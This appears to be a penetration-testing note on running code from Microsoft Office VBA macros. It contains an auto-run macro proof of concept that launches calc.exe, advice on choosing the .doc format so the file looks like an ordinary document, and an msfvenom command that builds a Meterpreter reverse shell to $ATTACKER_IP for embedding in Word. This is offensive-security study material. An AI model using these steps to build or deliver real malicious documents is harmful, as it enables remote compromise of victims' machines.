Important

Do not confuse Visual Basic for Applications with Visual Basic scripts (.vbs files)!

VBA scripts (“macros”) are a variant of VBScripts designed for use within Microsoft Office. It must be written within the appropriate MS Office app, which I suppose is one reason to shell out for an Office subscription.

VBA scripts can be accessed within a document using the View → Macros → View Macros command. This dialog also allows macros to be created, but when doing so be sure to set Macros in to the current document!

Macros can be tested during development using the Run → Run Sub/UserForm command in the VBA editor.

To get a macro to run when the document is opened requires it to be hooked into the Document_Open() and AutoOpen() functions (they almost do the same thing; including both allows for better backward-compatibility).

Sub DocumentOpen()
	PoC
End Sub
 
Sub AutoOpen()
	PoC
End Sub
 
Sub PoC()
	' Create a string variable named `payload`
	Dim payload As String
 
	' Set `payload` to the command we wish to launch
	payload = "calc.exe"
 
	' Fire!
	CreateObject("Wscript.Shell").Run payload,0
End Sub

Note that .docx files cannot include macros anymore — either a .docxm file needs to be used or the older .doc format. It’s generally better to use .doc, as the .docxm icon is noticeably different from that of a standard Word document. (All of these notes also apply to other Office formats, obviously…)

Running an application using VBA Script is fundamentally the same as with the other methods — we invoke WSH. As with WSH, I’ve found that recent versions of Windows seem to greatly restrict what can be launched using WSH via Office macros… I’ve managed to pop calc.exe, but not anything else!

Create malicious VBA macros using Metasploit

Exploit VBA scripts with msfvenom

Metasploit’s msfvenom can create VBA payloads, as one might expect. Despite WSH not wanting to pop cmd.exe or other executables (outside of calc.exe), a meterpreter reverse shell actually works! (That said, it will die when Word does, and thus needs to be migrated to a new process ASAP…)

msfvenom -p windows/meterpreter/reverse_tcp \
	LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
	-f vba -o ${NAME}.vba

To work, the VBA output must be copied into a Microsoft Office document as a macro. By default msfvenom will use the Workbook_Open() function; this is suitable for Excel, but must be changed to Document_Open() for Word.

Link to original